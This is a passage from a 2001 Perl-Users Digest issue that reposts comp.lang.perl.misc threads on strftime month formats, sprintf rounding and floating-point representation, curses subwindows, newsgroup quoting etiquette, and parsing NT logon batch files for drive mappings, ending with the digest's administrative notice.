NEXTSTEP 3.3p2, with the %j format starting at zero instead of one.
This is a different issue, with the %B and %b formats mapping 1 to
Janurary instead of 0 -> Janurary.

I can't seem to find any mention of this anywhere and it's driving me
up the wall.  I have a very date-sensitive script built and it
completely breaks under 5.6.0 due to this.  If anyone here knows that
this is already an outstanding issue, please tell me to shut up.
Otherwise, if anyone knows where I'm supposed to report this, tell me,
and then tell me to shut up.

Or flame me, or something.  Is this thing on?

--sjd;


Sent via Deja.com
http://www.deja.com/


------------------------------

Date: Tue, 6 Feb 2001 13:25:18 -0600
From: "Reid Turner" <rturner@lincap.com>
Subject: round not rounding as in the FAQ
Message-Id: <95pj2r$dt4$1@flood.xnet.com>

Any ideas on why I get an odd rounding result:

% perl -e 'print sprintf("%.1f\n", 3.55);'
3.5

on both Sun and Linux?

The FAQ says it looks at [PRECISION + 1]th digit
and goes up if it's 5.

TIA,

Reid Turner





------------------------------

Date: Tue, 06 Feb 2001 19:37:09 GMT
From: David Ness <DNess@Home.Com>
Subject: Re: round not rounding as in the FAQ
Message-Id: <3A805265.312E775E@Home.Com>

Reid Turner wrote:
> 
> Any ideas on why I get an odd rounding result:
> 
> % perl -e 'print sprintf("%.1f\n", 3.55);'
> 3.5
> 
> on both Sun and Linux?
> 
> The FAQ says it looks at [PRECISION + 1]th digit
> and goes up if it's 5.
> 
> TIA,
> 
> Reid Turner

Probably because the representation of 3.55 is not _exactly_ 3.55, but
(for example on my machine 3.54999...999998 to many decimal places)
somewhat less, and therefore it rounds down.


------------------------------

Date: Tue, 06 Feb 2001 20:42:49 GMT
From: aramis1631@my-deja.com
Subject: Re: round not rounding as in the FAQ
Message-Id: <95pnk7$q3g$1@nnrp1.deja.com>

In article <95pj2r$dt4$1@flood.xnet.com>,
  "Reid Turner" <rturner@lincap.com> wrote:
> Any ideas on why I get an odd rounding result:
>
> % perl -e 'print sprintf("%.1f\n", 3.55);'
> 3.5
>
> on both Sun and Linux?
>
> The FAQ says it looks at [PRECISION + 1]th digit
> and goes up if it's 5.
>
> TIA,
>
> Reid Turner

Read a little further... run
perldoc -q round


Sent via Deja.com
http://www.deja.com/


------------------------------

Date: Tue, 06 Feb 2001 20:52:29 GMT
From: trammell@bayazid.hypersloth.net (John Joseph Trammell)
Subject: Re: round not rounding as in the FAQ
Message-Id: <slrn980mvq.jjm.trammell@bayazid.hypersloth.net>

On Tue, 6 Feb 2001 13:25:18 -0600, Reid Turner <rturner@lincap.com> wrote:
> Any ideas on why I get an odd rounding result:
> 
> % perl -e 'print sprintf("%.1f\n", 3.55);'
> 3.5
> 
> on both Sun and Linux?
> 
> The FAQ says it looks at [PRECISION + 1]th digit
> and goes up if it's 5.

This is documented in Perl FAQ #4.  Lots of good stuff at

 http://www.perldoc.com/perl5.6/pod/perlfaq4.html

HTH,
J



------------------------------

Date: Tue, 06 Feb 2001 21:20:57 +0000
From: Kelly Dorset <dorsettest@uk.insight.com>
Subject: Re: subwin in curses..
Message-Id: <3A806AB9.395D1A0D@uk.insight.com>



Kelly Dorset wrote:
> 
> Just a quick question:
> 
> How do you use subwin() from the curses module?
> 
> $subwind = subwin(stdscr,$COLS - 2, $LINES / 2, $LINES / 2, 2);
> box($subwind, '*', '*');
> 
> This generates:
> 
> Uncaught exception from user code:
> argument 0 to Curses function 'box' is not a Curses window at curses2.pl
> line 17.
> 
> Could someone illuminate me?
> 
> cheers :)
> k

I've sorted this out now.. I think.  I was being a little dim :)


------------------------------

Date: 6 Feb 2001 17:54:00 GMT
From: nospam@hairball.cup.hp.com (Richard J. Rauenzahn)
Subject: Re: This is driving me nuts and I need a guru
Message-Id: <981482039.809409@hpvablab.cup.hp.com>

Jonathan Feinberg <jdf@pobox.com> writes:
>"John W" <jwmsng@greatNOSPAMwebsolutions.com> writes:
>
>> Just curious, what's Jeopardy style?
>[snip classic Jeopardy post]
>
>It's the crazy-making practice of writing your response at the top of
>your post, followed by the original post to which you're responding.
>In other words, the answer is followed by the question.  Usually the
>question is unedited, with signature and all intact.
>
>This is considered anti-social behavior, and it's why you've been
>killfiled.  That's what *plonk* means.

Actually, Abigail killfiled Tim (original poster), not John.

Rich

-- 
Rich Rauenzahn ----------+xrrauenza@cup.hp.comx+ Hewlett-Packard Company
Technical Consultant     | I speak for me,     |   19055 Pruneridge Ave. 
Development Alliances Lab|            *not* HP |                MS 46TU2
ESPD / E-Serv. Partner Division +--------------+---- Cupertino, CA 95014


------------------------------

Date: Tue, 6 Feb 2001 15:56:32 -0500
From: "John W" <jwgws@hotZEROSPAMmail.com>
Subject: Re: This is driving me nuts and I need a guru
Message-Id: <3a8062e0_4@goliath2.newsfeeds.com>

> Actually, Abigail killfiled Tim (original poster), not John.

Yes, but if I understood correctly (perhaps I didn't), Jonathon's reference
was that he was also killfiling *me*.

John




-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----


------------------------------

Date: Tue, 06 Feb 2001 19:20:17 GMT
From: "John Hall" <jhall@ifxonline.com>
Subject: unidentified reference
Message-Id: <R7Yf6.36183$E6.918141@news1.rdc1.sdca.home.com>

Some code I am modifying contains a reference I haven't been able to locate
in any documentation.

The sub that it is in contains grabs some directory listings and puts the
filenames in an array so that it can access them later.

Pat of a mechanism that builds a list out of filenames includes:

   for(@{$files{'__base__'}})

I haven't been able to find '__base__' anywhere. I found some "global
special constants" that use the beginning and trailing double underscore,
but I can't find '__base__'.

Any info? Is this deprecated?

Thanks as usual!






------------------------------

Date: Tue, 6 Feb 2001 20:11:39 -0000
From: "rude_al" <i.know.nothing@mindless.com>
Subject: Untangling NT Logon Scripts
Message-Id: <sUYf6.3072$ts2.89625@news2-win.server.ntlworld.com>

I've just started working at a large company with thousands of employees,
and I've been tasked to do some system administration with logon scripts.
I'm planning to use Kix scripts, and replace the current system where users
have a variety of batch files running, which in turn call other batch files
in a sort of multilayered jungle-like way that has grown up with time.
What I want to do is write a perl file that scans through all of these batch
files and produces a map of who is getting what drives mapped to which
shares on which fileservers, so perhaps I need some way of scanning the text
of each file looking for CALL and NET USE commands.
I've been told Perl is the way forward, anyone got any suggestions?




------------------------------

Date: 16 Sep 99 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Digest Administrivia (Last modified: 16 Sep 99)
Message-Id: <null>


Administrivia:

The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc.  For subscription or unsubscription requests, send
the single line:

	subscribe perl-users
or:
	unsubscribe perl-users

to almanac@ruby.oce.orst.edu.  

| NOTE: The mail to news gateway, and thus the ability to submit articles
| through this service to the newsgroup, has been removed. I do not have
| time to individually vet each article to make sure that someone isn't
| abusing the service, and I no longer have any desire to waste my time
| dealing with the campus admins when some fool complains to them about an
| article that has come through the gateway instead of complaining
| to the source.

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.

For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V10 Issue 226
**************************************


home help back first fref pref prev next nref lref last post